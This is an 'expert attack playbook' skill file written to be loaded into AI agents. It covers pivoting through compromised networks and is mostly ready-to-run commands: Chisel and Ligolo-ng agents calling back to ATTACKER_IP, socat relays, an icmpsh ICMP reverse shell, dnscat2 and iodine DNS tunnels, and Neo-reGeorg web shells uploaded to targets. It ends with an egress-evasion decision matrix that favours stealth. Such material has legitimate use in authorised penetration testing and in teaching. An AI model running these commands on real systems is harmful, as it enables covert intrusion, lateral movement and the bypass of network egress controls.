SKILL: Tunneling & Pivoting — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert tunneling and pivoting techniques. Covers SSH port forwarding (local/remote/dynamic/jump), Chisel reverse SOCKS, Ligolo-ng transparent TUN pivoting, socat relays, DNS/ICMP/HTTP tunneling, ProxyChains configuration, Windows pivoting (netsh/plink), and multi-layer chaining. Base models miss egress-aware tool selection and transparent routing setup.
0. RELATED ROUTING
Before going deep, consider loading:
- network-protocol-attacks for network-level attacks from pivot positions
- reverse-shell-techniques for establishing initial access shells
- unauthorized-access-common-services for exploiting services discovered through pivots
- linux-privilege-escalation or windows-privilege-escalation after pivoting to new hosts
1. SSH TUNNELING
Local Port Forward
Forward a local port to a remote service through the pivot.
bash# Access INTERNAL_HOST:3306 via localhost:3306 ssh -L 3306:INTERNAL_HOST:3306 user@PIVOT -N # Access internal web app ssh -L 8080:10.10.10.100:80 user@PIVOT -N # Browse: http://localhost:8080 # Bind to all interfaces (share with teammates) ssh -L 0.0.0.0:8080:INTERNAL:80 user@PIVOT -N
Remote Port Forward
Expose a local service to the pivot host's network.
bash# Make attacker's port 8000 accessible on pivot as pivot:9000 ssh -R 9000:127.0.0.1:8000 user@PIVOT -N # Expose attacker's listener to internal network ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT -N # Internal hosts connect to PIVOT:4444 → reaches attacker:4444
Dynamic Port Forward (SOCKS Proxy)
bash# Create SOCKS4/5 proxy on localhost:1080 ssh -D 1080 user@PIVOT -N # Use with proxychains echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf proxychains nmap -sT -Pn -p 80,443,445 INTERNAL_SUBNET/24 # Or with browser SOCKS proxy → browse internal web apps
Jump Host (ProxyJump)
bash# Single jump ssh -J jumphost user@TARGET # Multiple jumps ssh -J jump1,jump2 user@TARGET # SSH config for persistent jump # ~/.ssh/config Host internal-target HostName 10.10.10.100 User admin ProxyJump user@jumphost.example.com
2. CHISEL
Reverse SOCKS Proxy (Most Common)
bash# Attacker: start chisel server chisel server --reverse --port 8080 # Victim: connect back as client, create reverse SOCKS chisel client ATTACKER_IP:8080 R:socks # Result: SOCKS5 proxy on attacker's 127.0.0.1:1080 proxychains nmap -sT -Pn INTERNAL/24
Port Forwarding
bash# Forward specific port chisel client ATTACKER:8080 R:3306:INTERNAL_DB:3306 # Multiple forwards chisel client ATTACKER:8080 R:3306:DB:3306 R:8080:WEB:80 # Reverse port forward (expose attacker service to victim network) chisel client ATTACKER:8080 R:0.0.0.0:4444:127.0.0.1:4444
3. LIGOLO-NG
TUN interface-based pivoting — transparent routing without SOCKS.
bash# Attacker: start proxy sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up ligolo-proxy -selfcert -laddr 0.0.0.0:11601 # Agent (victim): connect to proxy ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert # In ligolo-proxy console: >> session # select agent session >> ifconfig # view agent's network interfaces >> start # start tunnel # Add routes on attacker to reach internal networks sudo ip route add 10.10.10.0/24 dev ligolo sudo ip route add 172.16.0.0/16 dev ligolo
Listener (Reverse Shell Catcher Through Pivot)
bash# In ligolo-proxy console: >> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp # Internal hosts connecting to AGENT:4444 → forwarded to attacker:4444
Double Pivot
bash# Agent 1 on DMZ → tunnel to internal network 1 # Agent 2 on internal network 1 → tunnel to internal network 2 # Add routes for both networks on attacker sudo ip route add 10.0.0.0/24 dev ligolo # via agent 1 sudo ip route add 172.16.0.0/24 dev ligolo # via agent 2
4. SOCAT
bash# TCP port forward socat TCP-LISTEN:8080,fork TCP:INTERNAL:80 # UDP relay socat UDP-LISTEN:53,fork UDP:INTERNAL_DNS:53 # Encrypted tunnel socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:INTERNAL:80 # File transfer via socat # Receiver: socat TCP-LISTEN:9999,fork file:received_file,create # Sender: socat TCP:RECEIVER:9999 file:send_file
5. PROXYCHAINS / PROXIFIER
ProxyChains Configuration
ini# /etc/proxychains4.conf strict_chain # fail if any proxy is down # dynamic_chain # skip dead proxies # random_chain # randomize proxy order [ProxyList] socks5 127.0.0.1 1080 # first hop (SSH dynamic forward) socks5 127.0.0.1 1081 # second hop (if chaining)
bash# Usage proxychains nmap -sT -Pn -p 22,80,445 10.10.10.0/24 proxychains crackmapexec smb 10.10.10.0/24 proxychains evil-winrm -i 10.10.10.50 -u admin -p pass
6. WINDOWS PIVOTING
Netsh Port Forwarding
cmd:: Forward port (requires admin) netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP :: List forwards netsh interface portproxy show all :: Remove netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
Plink (PuTTY CLI)
cmd:: Dynamic SOCKS (like ssh -D) plink.exe -ssh -D 1080 -N user@ATTACKER :: Remote port forward plink.exe -ssh -R 4444:127.0.0.1:4444 user@ATTACKER :: Automated (non-interactive, accept host key) echo y | plink.exe -ssh -l user -pw password -R 9050:127.0.0.1:9050 ATTACKER
7. DNS TUNNELING
bash# iodine — IP-over-DNS # Server (attacker, with NS record pointing to attacker): iodined -f -c -P password 10.0.0.1 t1.yourdomain.com # Client (victim): iodine -f -P password t1.yourdomain.com # Creates dns0 interface → route traffic through it # dnscat2 — command channel over DNS # Server: ruby dnscat2.rb yourdomain.com # Client: ./dnscat --dns=server=ATTACKER,port=53 --secret=SHARED_SECRET
8. ICMP TUNNELING
bash# icmpsh — ICMP reverse shell (no raw socket on victim needed for Windows) # Attacker: sysctl -w net.ipv4.icmp_echo_ignore_all=1 python3 icmpsh_m.py ATTACKER_IP VICTIM_IP # Victim (Windows): icmpsh.exe -t ATTACKER_IP # ptunnel-ng — TCP-over-ICMP # Server: ptunnel-ng -r INTERNAL_HOST -R 22 # Client: ptunnel-ng -p PIVOT_IP -l 2222 -r INTERNAL_HOST -R 22 ssh -p 2222 user@127.0.0.1
9. HTTP TUNNELING
bash# Neo-reGeorg — SOCKS proxy via web shell # Generate tunnel web shell: python3 neoreg.py generate -k PASSWORD # Upload tunnel.php/aspx/jsp to target web server # Connect: python3 neoreg.py -k PASSWORD -u http://TARGET/tunnel.php # SOCKS proxy on 127.0.0.1:1080 # Tunna — HTTP tunnel (alternative) python2 proxy.py -u http://TARGET/conn.php -l 4444 -r 3389 -a INTERNAL_IP
10. PIVOTING DECISION MATRIX
| Egress Allowed | Tool | Notes |
|---|---|---|
| TCP outbound (any port) | Chisel, Ligolo-ng, SSH | Fastest setup |
| TCP 80/443 only | Chisel (HTTP/S), Neo-reGeorg | Blend with web traffic |
| DNS only (53/udp) | iodine, dnscat2 | Slow but stealthy |
| ICMP only | ptunnel-ng, icmpsh | Very restricted environments |
| No outbound | Bind shell + port forward in | Needs inbound access to pivot |
| Web shell only | Neo-reGeorg, Tunna | When only HTTP file upload works |
11. DECISION TREE
Compromised host — need to reach internal network │ ├── Can install tools on pivot? │ ├── YES + outbound TCP allowed? │ │ ├── Need transparent routing? → Ligolo-ng (§3) │ │ ├── Need SOCKS proxy? → Chisel reverse SOCKS (§2) │ │ └── SSH available? → SSH dynamic forward (§1) │ │ │ ├── YES + only HTTP(S) outbound? │ │ ├── Chisel over HTTPS (§2) │ │ └── Upload web tunnel → Neo-reGeorg (§9) │ │ │ ├── YES + only DNS outbound? │ │ └── iodine or dnscat2 (§7) │ │ │ └── YES + only ICMP allowed? │ └── ptunnel-ng or icmpsh (§8) │ ├── Cannot install tools (web shell only)? │ └── Neo-reGeorg / Tunna via web shell (§9) │ ├── Windows pivot? │ ├── Admin access? → netsh portproxy (§6) │ ├── SSH client available? → ssh.exe (Windows 10+) (§1) │ └── Outbound SSH? → plink (§6) │ ├── Need multi-layer pivot? │ ├── Ligolo-ng: multiple agents + route stacking (§3) │ ├── SSH ProxyJump chaining (§1) │ └── ProxyChains with multiple SOCKS (§5) │ └── Teammate needs access too? ├── Bind SOCKS on 0.0.0.0 (ssh -L 0.0.0.0:...) └── Share Ligolo-ng routes via common proxy
